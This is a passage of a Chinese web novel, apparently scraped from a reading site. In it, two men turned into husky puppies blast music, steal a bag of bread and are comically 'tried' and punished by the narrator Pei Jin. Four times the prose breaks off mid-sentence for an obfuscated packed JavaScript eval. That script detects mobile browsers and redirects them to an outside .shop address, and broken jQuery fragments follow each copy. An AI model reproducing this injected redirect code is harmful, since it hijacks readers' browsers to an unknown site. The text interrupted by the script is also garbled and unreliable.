凝固的酸奶渍去除完毕,萌物小幼崽满血复活。齐北宸迈着小短腿转身欲走,临别前还故意朝着一言不发的裴矜哼了声,才扭着狗屁股离去。 裴矜拿酸奶瓶的手一滞。 她是被一只狗给挑衅了吗?三天不打,上房揭瓦,齐北宸的胆子是越来越肥了。 久违的战争由一首歌曲打响。 裴矜喝完酸奶回到自己房间在参悟佘瑰带来的高科技产品,只听外面传来超大分贝的音乐声。 “Wholetthedogsoutwoofwoofwoofwoof” 打击乐和强烈的节拍交织而成的舞曲响彻整个房间,高低音在呼唤还没加入的人们一同享受狂欢派对。 这之中一定不包括裴矜。 沉着脸把门推开,大踏步走出,王妈已先行一步抵达战场。 客厅的一角摆放着两个无线蓝牙音响,音响的正中间是用小爪子打节拍,狗头律动的齐北宸。 约两米开外是狗耳朵下垂,包着狗头趴在地上沉浸式看书的好学生卢烨。 王妈正开着门,不知在和谁打招呼,裴矜想都不用想,多半是打扰到邻居了。 把音量调到最低,又瞪了齐北宸一眼,裴矜走到门口就看到了穿着居家服的张阿姨在和王妈抱怨。 “小裴啊,你来了。”张阿姨揉着发涨的太阳穴,止不住地叹息,“我年纪大了有高血压,听到摇滚乐和大分贝的声音就睡不着。能不能麻烦你以后听音乐的时候稍微控制一点音量?” 裴矜对张阿姨饱含歉意地点点头:“不好意思张阿姨,家里的小宠物调皮影响到你了,我等下会好好教育它的。” 张阿姨疑惑地看向室内,眼睛余光扫到角落里的两条小尾巴了然地颔首:“你还是心地好,这次又收养小狗了?” 是啊,这次还是两小只,拆家能力顶级的那一种。 裴矜腼腆一笑:“张阿姨过奖了,阿宸讲义气帮朋友,我也就是顺手帮个忙。” “这样啊,你们小齐人也是挺好的,下次注意就好。你忙吧,我先走一步。” 张阿姨没多说什么,摆摆手就走了。 关上门,裴矜凌厉的目光扫过罪魁祸首狗的后脑勺。她喊住了王妈询问:“王妈,你刚刚有看到是哪只不听话的小狗打开音响了吗?” 王妈也是一脸懵:“太太,我也不知道。我过来的时候,已经是这个样子了。难道城里的狗和乡下的狗喜好还不太一样?流行听歌放松?” 王妈,不是城里的狗爱好特殊,是因为狗壳子里住了一个闹腾的齐北宸! 裴矜在内心把齐北宸骂了个遍,面上平静无波:“王妈你去忙吧,小事情罢了,我有事再喊你。” 王妈应了一声就去忙了。裴矜踱着步,一点一点接近两只小狗。 趴着看书的卢烨抬起头,看到裴矜的脸色后,视线转移至齐北宸身上。齐小狗小爪子搭在蓝牙音响上,来回倒腾,就是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762744|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 愿和裴矜面对面。 小狗狗,别以为变成狗了就能逃过一劫。 裴矜一字不说,沉默地回到房里打开小梅屋助手APP。她把时间切换到半个小时前,再按下play键查看录像。 视频中两只小狗一开始都很安分,交头接耳在说话。隔得远,加上有王妈在场,裴矜很难从视频里听清楚他们在聊什么。 大概几分钟后,齐北宸霎时间变了脸色,腿上像装了弹簧一样一蹦三尺高,仰着头就想嚎。还没来得及发出声,卢烨一把用小爪子捂住了齐北宸的狗嘴,后者两只小爪子在空中胡乱挥舞了一阵子才安分下来。 接着又是两只小狗崽交头接耳的鬼祟画面,讨论完毕后,齐北宸望着摄像头的方向,专心致志地看了一会儿,站起身一路小跑到了另一边去。 裴矜顺着它离开的方向切换镜头,发现它去了杂物间。两只后爪着地,前爪在箱子里一通扒拉,最后叼着一块黑色布料又回到了客厅。 裴矜继续切换镜头,卢烨对着刚回来的齐北宸说了一句什么,齐小狗晃着狗头嘟囔了几句,一跃而上站在桌上。 镜头里齐北宸的特大号狗脸全方位无死角地呈现在裴矜眼前,它的小鼻子一吸一吸。镜头一晃,一块黑乎乎的布盖在了镜头上,剩下什么都看不到了。 裴青天立马在心里做出了有罪判决。 掩耳盗铃,做贼心虚。 主犯齐北宸确认无疑,证据确凿。至于从犯卢烨,虽无实质证据,但他知情不告也是事实,按律应当连坐。 裴矜退出APP,切换到和王妈的聊天界面,发了一条消息。 裴矜:王妈,今天中午两只小狗罚它们不准吃饭,你就别管了。 王妈:太太,为什么要惩罚小狗? 裴矜:它们不乖,屡教不改,得给它们立规矩。 王妈:好的太太,我知道了。 裴矜和王妈一个中午都没搭理两条狗。 到了饭点,两条狗都有些饿了。齐北宸和裴矜憋气不愿意来,卢烨敲了敲房门才进来。 “小裴,是不是该吃午饭了?” “哦,对。” 裴矜收起书,和卢烨走出房门,全程没看齐北宸一眼,自顾自地用完午饭就出门散步去了。 她走之前还特意嘱咐了王妈一句:“王妈,我不在的时候千万别心软。不管它们一会儿怎么和你撒娇卖萌,都不要同情它们。” “太太,给小狗立规矩是对的,我赞同,只是这样是不是太重了一点?”王妈语气柔和,“它们还只是幼犬,饿过头万一饿出病就不好了。” 裴矜摇摇头:“它们俩没那么脆弱。我饿它们一顿,只要它们意识到自己的错误,我立刻给它们喂饭。” 王妈见状也不好多说什么,只好随裴矜去了。 小区的午后有些炎热,阳光透过斑驳的树影将地面切碎成不规则的菱形铺洒在地面上。裴矜沿着树荫走了一圈,消食完毕便回家去了。 她刚一进门,就看到王妈满头大汗地在寻找着什么。 “怎么了王妈?” “太太回来了啊。”王妈抹了一把汗,“我才吃个饭的功夫,早上放在桌上的小面包就不见了,太太你有看到吗?” 29. 小面包失踪案 裴矜第一时间就联想到了两张打马赛克的狗脸。 饿了一中午不给饭吃,又看到她和王妈吃饭,卢烨她不确定能不能忍住,齐北宸她确定百分百忍不住。 这狗东西最舍不得亏待自己了,小面包失踪案,主犯肯定是他! 凡事习惯性讲证据的裴矜略一思考对王妈说道:“找不到就算了王妈,一袋子面包而已。中午那两只小狗表现得怎么样?” 王妈回忆了一番摇摇头:“两只小狗都很乖,没有吵也没有闹。一开始是有绕在我脚边乞食,我和它们说你不给吃,它们就一声不响回去了。” 齐北宸乖?不存在的。他乖不代表他不会搞事,现在小面包没了,不怀疑他还能怀疑谁? 裴矜和王妈随便聊了几句,回到房里梅开二度打开小梅屋助手APP。 时间切换到裴矜离开家后,摄像头设置为客厅。如王妈所言,她前脚刚走,两只狗就绕着王妈转圈圈,几分钟折腾未果后,小狗崽们换了个地方交流。 不过它们的运气不太好,这次精挑细选的地方距离麦克风很近,裴矜听得一清二楚。 “小姐夫,我饿了。”齐北宸揉了揉小肚子,狗耳朵耷拉着,一副有气无力的模样,“王妈不给我们吃的,我们就不能自己去觅食吗?” 卢烨冷静地摇摇狗头:“所有放狗粮的地方都上锁了,以我们现在的身体素质很难打开。” “那怎么办?我要变成饿死狗了。” “嗯……也不是没办法。” 齐北宸立马来了精神:“什么什么?你快说啊小姐夫。” 卢烨环顾四周,确认王妈还在吃饭,压低声音靠近齐北宸的耳朵:“我刚看到厨房旁边的小桌子上有一袋小面包。” 齐北宸的狗眼睛迸发出绿色的光:“小姐夫,我们去拿小面包吧!” “你疯啦,王妈就在厨房吃饭。而且我们现在那么小的身体,根本够不到桌子,怎么拿?” “一个不行,两个不就够了嘛。” 齐北宸在卢烨耳边嘀咕了一阵,卢烨时不时点头,两只小奶狗窸窸窣窣了几分钟,再度回到狗窝附近。 齐北宸用小爪子打开蓝牙音响,卢烨拨弄着按钮切换到一首小夜曲上。两只狗调高了一些音量,故意用小爪子在食盆边缘来回拨弄,发出噪音。 确认王妈没有任何反应后,齐北宸故技重施,从杂物间叼来黑布盖在摆放在厨房角落的摄像头上。可他忘了厨房中午开窗通风,他盖上去的布不过两分钟就被风吹得掀起一角,摄像头正好露了出来,让裴矜得以完整欣赏到这场双狗偷小面包的犯罪现场。 两只小狗一前一后分批抵达小桌子旁,齐北宸四只爪子着地,体型相对小一点的卢烨直立起来,两只后爪踩在齐北宸的背上,前爪往前探去,努力够小面包。 面包袋子被王妈放在靠里面的位置,卢烨的小短手差一截够不到。他跳下来又和齐北宸低声讨论了几句,这次两只幼崽丰富了套路。 卢烨嘴里叼着一把小叉子踩在齐北宸的背上,站起来后,双爪撑住桌面,狗脸贴着桌子往前探,小叉子接近装小面包的袋子,努力往自己的方向扒拉。 卢烨非常有耐心地够了几分钟,齐北宸狗头朝外,除了担任地基,还得兼顾站岗放哨的责任。 皇天不负有心狗,在三分钟的反复测试中,两只嫌疑狗顺利取得小面包一袋,安静地逃离案发现场,并把黑布和小叉子放回原位,完成了一场除了监控谁也不知道的完美犯罪。 挺厉害的,要是在小说里看到这样的情节,裴矜一定会留评感叹两只幼犬智力超群。 但这不是网文小说世界,是活生生的人世间。 两只变成狗的大男人费尽心思只为偷一袋小面包充饥,裴矜也不知该从哪儿吐槽起。 她深吸一口气,给梅由谨发了个信息。 裴矜:小梅,卢、齐两只哈士奇幼崽现在都在我这。他们刚刚不懂事吃了几块小面包,对肠胃会有负担吗? 梅由谨:啊?什么时候的事? 裴矜:大概二十多分钟前。 梅由谨:我看过他们的监控数据,没什么问题,就是吃的有点多,最好遛遛狗,让他们适当消化一下。 裴矜:好。 见梅由谨这么说,裴矜悬着的心放了下来。她把手机放在口袋里,不动声色地打开门,借着拿水的机会扫了垃圾桶一眼。 两个男人以幼犬之躯做到了极致,小面包的袋子被埋在垃圾桶底部,可最上端金灿灿的logo标志还是露出了一角。 裴矜拿着水喝了一口,缓步来到客厅的沙发上坐下。她的方向正对着两只狗,全程一句话不说,只默默把蓝牙音响的音乐切换成了碟中谍的主题曲《Mission:ImpossibleTheme》。 角落里玩玩具的两只幼崽全身毛发竖起,两条小尾巴如金蛇狂舞。 裴矜阴恻恻的声音伴随着音乐扩散在房间的每个角落:“大哈、小哈,你们有什么想对我说的吗?” 两只幼崽维持着面壁玩玩具的姿态,只是这次连耳朵都变直了。 裴矜起身去拿狗毛玻璃罐,她重重地把罐子往桌上一放,发出“砰”的一声响。刚结束厨房忙碌,准备拖地的王妈恰巧路过,迟疑了片刻,开口询问:“太太,你这是怎么了?” “王妈,先不忙打扫卫生,过来坐一会儿。”裴矜指了指自己身边的空位,“我诚挚地邀请你看一出戏。” “什么戏?” “客厅审狗·第一幕。” 王妈的眼睛在面壁思过的两只幼崽与一脸严肃的裴矜之间飘来飘去,她应了一声,坐在裴矜旁边。 两只小狗的玩具逗留在狗爪子下几分钟没有变化过位置,客厅里碟中谍的音乐依旧响亮。 心理战打得差不多了,裴矜冲着齐北宸的方向喊了一句:“大哈,把音乐关掉。” 被点名的齐北宸全身毛发一凛,伸出肉垫关掉了蓝牙音箱的开关。 客厅里再次变得落针可闻。 裴矜语气不变:“大哈、小哈,转过来。” 两只小狗同步转身,你看看我,我看看你,均低着头不言语。 王妈盯着两只狗子看了一会儿,试探性问道:“太太,难道你怀疑是这两只小狗偷了小面包。” 裴矜嗯了一声。 王妈摆手笑了起来:“不会吧太太,它们两只小幼崽哪儿那么聪明?就算真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17765704|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 那么聪明,也不见得实施得了啊。” 换成一般的哈士奇幼崽是不一定,问题是现在两只萌物壳子里装着的是合起来都快60岁的俩大男人。 王妈不知道事情的来龙去脉,裴矜也不可能把变狗的事情和盘托出,但视频监控不会说谎。她故意略过了两只小狗说人话商量如何偷小面包的作案计划,只给王妈看了它们偷窃小面包的过程。 “啊?这……” 王妈边看边擦擦自己的眼睛。 直到几分钟长的片段播放完毕,王妈都没能说出什么话来。 裴矜非常客气地把手机屏幕对准两只小狗的方向问了一遍:“要不要回顾一下你们俩的犯罪现场?我可不会冤枉任何一只小乖狗,也绝不饶恕任何一只小坏狗。” 两颗毛茸茸的狗脑袋立即凑了上来。 看了不到半分钟,小狗们的注意力就不在屏幕上了,两只幼崽爪子攥着桌子边缘,小狗头面对面,当着裴矜的面进行第二波眼神对视。 被发现了还妄图通过脑电波交流逃避罪责,该罚! 裴矜用手机物理隔开两颗狗头,语气加重:“你们承不承认自己偷小面包的事实?” 看不到对方的反应,两只狗反应各不相同。 卢烨犹豫了一会儿就点了点小狗头,乖乖退到一旁蹲着等待宣判结果降临。齐北宸仍然负隅顽抗,狗头狂摇,小狗嘴一开就是叫:“汪汪汪!” 裴矜仗着王妈在场,量她给齐北宸十个狗胆都不敢开口说人话。她的食指放在小狗嘴上比了个噤声的手势:“嘘,就你最吵。小哈都认罪了,你怎么还那么犟?” 齐北宸止住了叫声,小狗头高高抬起,黑葡萄的小眼睛里写满了不服。 裴矜挠了挠狗下巴:“服不服?” “汪!” 裴矜又挠了挠狗耳朵:“再敢乱叫一声,我就把证据丢你小狗脸上。” 齐北宸的眼珠子转了几圈,叫声弱了许多:“汪。” “小坏狗,这就给你看证据。” 裴矜戳了一下狗脑袋,走进杂物间拿着那块黑布料出来。她把布摊开,上面黑白镶间的毛发清晰可见。 王妈和卢烨喝水的喝水,低头的低头,一点声音都不发。裴矜捏着齐北宸的耳朵尖,靠近后说道:“物证齐全,你该服了吧?” 齐北宸抖了抖小狗耳朵。他叫是不叫了,一张小狗脸鼓鼓的转向角落,小尾巴晃来晃去。 来硬的不行,那就换个套路来软的。 裴矜回到座位上,慢条斯理地喝了一口茶水:“王妈,你知道怎么区分大哈和小哈吗?” 王妈笑着回答:“太太你说过,大一点的是大哈,小一点的是小哈。” “道理是这个,不过还有另一种方法能区分两只小狗。” “哦?是什么?” 王妈往裴矜的方向靠近了些许,地上的卢烨瞥了裴矜一眼,摇晃的小尾巴停了几秒后又重新甩了起来,唯有对面那只蹲墙角装石像的小土狗一动不动。 小东西,就不信你不上钩。 裴矜笑着回答:“道理很简单,王妈。这干净一点的是小哈,邋遢的是大哈。你见过哪只好人家的狗偷吃完连嘴都不擦的?” 30. 金饭碗 蹲墙角的齐北宸只花了不到零点一秒的时间就越过客厅里的众人,一路狂奔到自己房间门口的落地镜前。 狗屁股一撅,四只爪子撑在镜框上,上下左右拼命找压根不存在的饼干屑。 卢烨单爪捂脸,不愿给他的狗队友一个眼神。王妈连连感叹:“太太,你看这大哈像不像个人啊,它还知道照镜子。” 确实呢王妈,它每次变成狗都不忘照镜子,不然能把这嘴硬的小坏狗钓出来。 胜利的裴矜不急着收拾齐北宸,她面朝着前方喊了声:“没人逼你,你这是不打自招。现在该乖乖承认了吧?” 齐北宸趴在镜子上扭了一分钟,才慢慢吞吞地从房间里出来。他略微使力调到桌上,一屁股坐在裴矜的面前,小爪子护着肚子,狗头撇向一边,从牙齿缝里挤出一声:“汪。” 全身上下嘴硬的就是一张嘴,但架不住哈士奇幼崽的皮囊实在可爱。 裴矜揉了揉气呼呼的小狗脸,王妈在一边感叹:“我活了那么大岁数,没想到能看到那么通人性的狗。太太,小狗都低头认错,我看要不也就算了,它们还小,要是再饿一顿,身体真会吃不消的。” 王妈说的道理裴矜也懂,要不是齐北宸死鸭子嘴硬,只想维护他大少爷的面子,也不至于把战线拉那么长。 “好吧,看在王妈的面上饶你们一回。” 因为裴矜的一句话,两只小狗的眼睛一下就亮了起来。 “先别激动,偷吃小面包的事我可以不提,吃了小面包的后果得让你们知道。” 裴矜把手机界面切换到小梅屋APP助手,上面记录着两只小狗吃完小面包后的数据图表。 “看清楚了,吃下去能饱不代表能消化。两只小笨狗就那么点智商,全拿来偷小面包了,没想过你们的小肚子是不是能承受。” “我刚问了小梅屋的老板,他说你们需要好好运动消化,建议我遛狗来着,你们是配合还是不配合?” 两只幼崽面面相觑,王妈倒是开了口:“太太,今天外面那么热,现在又是最热的时间段,要是你带狗出去溜,你和狗估计都会不舒服的。” 裴矜透过窗户望了眼窗外的天,烈日当空,干燥的空气里没有一点水汽。 “那就改室内吧。”裴矜放下窗帘,闷热的室内稍许凉快了一点,“你们俩今天放了一天音乐,不如就来个跳舞减肥?” 王妈点头赞同:“这个主意好,家里有空调,小狗就算跳热了还能随时休息补充水分。” 裴矜拿出跳舞毯,把摄像头对准舞台上的两只小狗。蓝牙音响的音乐响起,是一首非常老的舞曲《爱的主打歌》。 全程没能发表丁点意见的两只狗一脸呆滞。裴矜特意打开平板,上面正播着歌曲MV。 “大哈小哈加油哦,作为你们偷吃小面包的惩罚兼运动视频,我会发给你们的主人过目的。” 齐北宸压根没听裴矜说什么,生性好动的他已经随着节拍开始扭起狗屁股了。角落里还在犹豫的卢烨伸出舌头舔了舔小狗嘴,举起小爪子轻微律动着。 音乐渐入佳境,两只小狗也越发放得开。裴矜嘴角上扬,她偶尔用余光监视着狗子们是否偷懒,手指在手机键盘上火速敲字。 裴矜:表姐下飞机了吗?我有件事想告诉你。 裴矜把今天齐北宸和卢烨两只小狗早上闹腾,中午一起偷小面包的事大致说了一下,并附上监控视频和双狗跳舞的截图,点击发送。 约摸一刻钟后,佘瑰的消息来了。 佘瑰:呵,胆子挺肥。 佘瑰:小裴你做的对。小烨跟着宸宸瞎胡闹该罚,但力度不够,我告诉你怎么做。 佘瑰发了几行图文,裴矜一一记在心里,随后坐在一旁看着小梅屋APP上跳动的数据。 两狗傍地走,安能辨我是哪只? 一通群魔乱舞,屋里狗毛飞舞。 王妈拿着裴矜的大玻璃瓶和佘瑰的小玻璃管分门别类往里面塞狗毛。她打扫完毕时,两只幼崽的毛发都湿透了,小舌头哈着热气,趴在跳舞毯上喘粗气。 早知如此,何必当初,这不是自己给自己找罪受嘛。 裴矜叹了口气,给小狗们端来食盆:“辛苦了,喝点水吧。” 小狗们累得动都动不了,过了一会儿才爬起来补充水分。王妈则看时间所剩无几,她利落地收尾完毕,把两个玻璃罐交给裴矜就下钟了。 客厅里再无外人,烈日的余热也在渐渐消退。 裴矜坐在椅子上,俯视着两小只:“现在没外人了,是时候该进行客厅审狗·第二幕了。” “为什么?”齐北宸的小狗头从盆子里抬起,“我们都接受惩罚了,咋还审我们!” 一旁的卢烨抬起爪子轻拍齐北宸:“宸宸,安静一点,事情肯定没那么简单。” 裴矜微微一笑:“还是姐夫头脑清楚。这回不是我要审你们,是表姐有话要我转告你们。” 裴矜说着解锁手机屏幕,念起了佘瑰的话。 “小裴你好,我现在在国外忙着赶通告,不方便直接和他们交流对话,以下内容请你转告。” “给小烨:老公,你的事等你回家了,我们慢慢详谈。我没有欺负小动物的爱好,但是对于不长记性的人就另当别论了。” 裴矜念到这里停顿了一下,把手机屏幕上的图放大,递到卢烨的面前。 画面里是一只光看设计就价值不菲的拖鞋,有意思的是,拖鞋的帮面材料不是普通织物,而是毛茸茸的毛发。 裴矜今天看了一天的灰白色狗毛,在看到图片的那一刻就猜到原材料来源自哪里。 卢烨的狗脸垮了一半,甩甩小尾巴:“我知道了,麻烦小裴和我老婆说一声,我回去会乖乖认罚的。” “哟,小姐夫,你这就认怂啦?”齐北宸的狗脖子拉得老长,前腿一伸一缩着,“没看出来你还是个妻管严属性。” 卢烨往旁边一趴,肉垫交叠枕着头:“话不要说太满,宸宸。你的判决书还没下来呢。” 齐北宸晃懂的短尾巴停滞了一瞬,狗眼睛偷瞄裴矜。 “下面是给你的。”裴矜轻敲了一下齐北宸的脑门,往下念,“给宸宸:欠抽是你的本性,既然屡教不改,姐姐我也懒得交了。好歹姐弟一场,姐姐有个东西托小裴转交给你。” 裴矜拿出一只金光灿灿的金小狗食盆,手指在碗壁上敲了几下:“24K纯金的,表姐赏你的,不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771853|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 谢。她说了,家里要是留不住你,请你去外面好好开疆拓土。” 说着,裴矜把碗往齐北宸面前一丢,仿佛丢的是个不值钱的物件一样。 齐北宸的狗脸挂不住了,它一把抱着裴矜的小腿开始嚎。 “冤枉啊老婆!我可没带坏小姐夫!主意是他出,脑子是他动,我就是个打黑工的劳动力!你可千万不能听我姐的话,把我扫地出门。我那么小的一只狗,出门叫天天不灵的,你心地善良,大发慈悲地原谅我一回吧!” “哎,宸宸,你不能甩锅都甩我头上。”卢烨直起身,抖了抖狗毛,“喊被无视了要吸引注意力的是你,喊肚子饿的也是你。我一个从犯都招了,你要是再嘴硬下去,只会让小裴看不起你。” 裴矜眉毛一挑,感觉事情并非那么单纯。 齐北宸是容易闯祸,可他脾气来的快去的也快,背后没有高人指点,不可能实施那么完美的偷小面包计划。 不过对手盘是卢烨,裴矜不方便出手,只能转道弯让佘瑰进行家庭教育。像今天反复折腾人的小齐狗,借机吓它一下,长个记性就好。 裴矜双手环胸,斜睨着桌上的小狗崽:“看,姐姐姐夫都这样说了。机会我给你了,要正确认识到自己的问题啊,齐北宸先生。我最后问你一遍,你觉得自己表现得乖不乖?” 齐北宸缩着本就不太有的小狗脖子,端坐在桌上耷拉着耳朵:“我承认我是闹腾了一点。音响是我开的,小面包我偷了也吃了,可我真不是故意的,我是有原因的。” 裴矜追问:“什么原因啊?” 齐北宸言辞闪烁:“不告诉你。” 裴矜转问卢烨:“姐夫,你说呢?” 卢烨打起了太极拳:“我答应过宸宸,不方便说。” 呵,一个两个都打起哑谜来了。不说就不说,她还不想知道呢。 目的已经达到,裴矜也不再为难两只小萌物。齐北宸的小狗屁股挨了裴青天的轻轻几巴掌就算刑满释放,两只小狗终于吃上了丰盛的晚餐。 鸭肉味的幼崽狗粮很合两小只的口味,小狗子吃得肚皮圆鼓鼓的,裴矜带着他们出去遛弯消食完回家,端出了佘瑰今早送来的全自动智能狗狗浴缸。 卢烨在家早已习惯了这套流程,他在澡盆里通过语音控制洗干净后,在干布上踩踩四只爪子,就钻入旁边的烘干机。 不消片刻,一只香喷喷的二哈幼崽全新出炉。 有钱就是任性。 裴矜内心感叹,手背碰了碰齐北宸:“快去洗。” 齐北宸这时候扭捏了起来:“老婆,你不帮我洗吗?” 裴矜嘴巴一歪:“你昨天不是还不让我帮你洗吗?今天怎么转性了?” “比起机器,我还是更喜欢老婆……诶!你怎么直接把我丢进去了!” 有空听他碎碎念,还不如直接把他办了的好。 在裴矜的如法炮制下,齐北宸不一会儿重新进入了小香狗行列。 月色皎洁,微凉的晚风吹散了白天的燥热。 第二天还要上班的裴矜洗漱完毕,准备早些休息,门被推开了。 齐北宸一脸怨念地叼着他的小床铺站在门口:“老婆,我想睡觉了。” 31. 狗红帽 裴矜看着这只越来越自来熟的老公狗,在他即将迈向自己床铺的那一刻叫停了。 “等会儿,昨天你蹭我的床就算了,为什么今天还要蹭?” “我的床让给小姐夫了。”齐北宸的小短腿搭在床铺边缘,“走廊睡觉的不合理性我们已经讨论过了。出于多方面综合因素考虑,我觉得睡老地方更有利于我们彼此的睡眠质量,所以我才选择了这里。” 说得有鼻子有眼的,根本上就是想赖在她床上当只癞皮狗吧。 裴矜看着他爬床上来,一张小狗脸始终怨念丛生,和昨天狗腿的样子截然相反。 好吧,她今天不该饿他肚子,可明明是他先表现不乖的。 裴矜短暂反省了一下自己的言行,虽有提升优化的空间,但原则性上她还是很认可自己最初的判断绝不动摇。 她伸手挠挠齐北宸的后脖子:“诶,我不就说了你几句,还记仇啊?从进门开始就一脸不开心,都这样了还想睡我的床,齐北宸你的良心哪儿去了?” 齐北宸呈大字型趴在床铺上,声音闷闷的:“我才没记仇。我现在是一只没有智商的小笨狗,我只知道要捍卫自己的权益,别的一概不管。” 裴矜拨了下狗尾巴:“还说没记仇,脸都不露出来。” 齐北宸哼哼唧唧的就是不搭理人,滴溜溜的狗眼睛透过缝隙偷瞄着裴矜。 什么捍卫权利,摆明了就是想问她要甜头呗。说几句就闹小情绪,那么金贵的小狗崽在别人家早被立规矩了,也就是她宠着才让他那么无法无天的。 裴矜下床翻找了一阵子,几分钟后一套柔软的古风小斗篷覆盖在了齐北宸的狗背上。 感觉到身上有异物,齐北宸抬起小爪子看到那熟悉的大红色,小尾巴转成了螺旋桨。 “抬爪子,臭美狗。” 裴矜轻拍了齐北宸一下,蔫了吧唧的小狗一下从床上弹起,配合着裴矜的动作把小斗篷穿好。 红色小斗篷的尺寸放在成年犬上有点小,幼崽身上刚刚好。裴矜给他穿完后,把斗篷的下摆拉直,大体上又扫了一圈。 大红色的兜帽盖在狗耳朵上,红色系带轻轻环绕着狗脖子,斗篷刚好覆盖住整只幼崽。一切看上去都很完美,就是哈士奇长得太像狼了,裴矜怎么都消化不了迷你版狼外婆反串小红帽的猎奇设定。 偏偏齐北宸这只臭美小狗还一个劲地在问:“老婆,我是不是很可爱?” 可爱归可爱,诡异归诡异,裴矜思前想后觉得还是别让他再照镜子的好。否则按他那脾气,一准要把房顶都掀了。 “嗯,可爱。”裴矜摸摸齐北宸的头,帮他把小斗篷解下交给他,“我留着也没什么用,送你了。” “汪呜!” 齐北宸跳到裴矜的腿上,直起身体,舔舔她的侧脸:“谢谢老婆!我很喜欢这份礼物!” 不过是一件小斗篷,至于那么开心吗? 裴矜心里隐约感觉有点奇怪,但她细想想又没想出个所以然来,就没多管。她拍拍床铺:“礼物收到了,气也消了,是不是该睡觉了?” 齐北宸摇摇头:“老婆你先睡,我要守夜。” 裴矜纳闷:“明天又不是新年,守夜干什么?” “啊?”齐北宸叫了一声。 “嗯?”裴矜跟着问了一句。 活泼开朗的小狗脸瞬间晴转多云,肉垫指着才脱下来的小斗篷:“那你干嘛送我这个?” 裴矜老老实实地回答:“之前我从小梅手里免费薅羊毛薅到的,感觉你变成小狗的时候应该穿着挺可爱,就送给你咯。” 齐北宸嘟着小嘴巴:“就因为这个?不是因为别的啊?” 裴矜点头:“是啊。” 幼崽的左前爪一勾,把小斗篷收入囊中:“算了,我不和你计较。”齐北宸把小斗篷叼走放好,又跳上床,“我睡了,晚安。” 裴矜被他的变脸速度打得措手不及:“不是说要守夜的吗?” “不守了,气都气饱了。”齐北宸翻了个身,狗屁股对准裴矜的方向,“快点熄灯,我要睡觉。” 裴矜弹了一下狗屁股才关灯,室内顿时一片黑暗,一人一狗背对背,谁也没搭理谁。 她都没和他计较他今天的拆家行为,他还生气?哪儿来的狗脸。 齐北宸的生闷气行为从晚上持续到了早上,两只幼崽共进早餐时,卢烨默默把自己碗里的狗粮多让给了他一点。 “谢谢小姐夫。”齐北宸吃着碗里小山堆一样的狗粮,含糊不清地嚼,“还是小姐夫关心我,不像某些人,什么都不记得。” 距离几步之遥的裴矜觉得自己比窦娥还冤。直接问他不说,不搭理他,他还生闷气吐槽。大少爷的少爷脾气太难伺候了吧。 低气压盘桓在客厅上空无法消散。 用完早餐,卢烨扯了扯裴矜的裤腿:“小裴,你是不是想知道为什么宸宸那么生气?” 裴矜放下洗到一半的碗筷,蹲下身:“是的,姐夫。你能告诉我吗?” “抱歉,我不好直截了当告诉你答案。我答应过宸宸的。”卢烨摇摇头,又补了一句,“不过我可以提示你一下,宸宸是个很有仪式感,骨子里带点小浪漫的生物,往这个方向去做一准没错。” 说的好玄乎,怎么连卢烨也帮起他来了? 裴矜似懂非懂地点点头,洗完碗筷准备去上班。 临走前她看着保持几米距离,依旧送她到门口的齐北宸,替他捡走几根附着在身上的杂物纤维:“要是我不在的时候变回来了,不要一个人硬抗,今天姐夫也在,你可以多依靠他。有事给我发信息,听到没?” “知道了。”齐北宸仰着头,小尾巴甩了几下,“你就没别的想和我说的了吗?” 又是一副怨夫口吻,自己没得罪他吧? 跟不上节奏的裴矜含糊其辞:“我会早点下班回家的,你要乖乖的啊。” 齐北宸明亮的狗狗眼黯淡无光,可他还是举起小爪子对着裴矜挥爪告别。 脑袋里怨念小狗的模样被定格,裴矜在公司的一上午工作效率感人。 吃完午饭,她打开小梅屋APP查看两只幼崽的情况,发现他们今天表现都还算乖,除了齐北宸玩平板的时间有点久,别的没什么值得注意的。 难道她忘记了什么重要的事?裴矜抓抓头,认真思考起了卢烨的建议。 不然学习表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774503|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 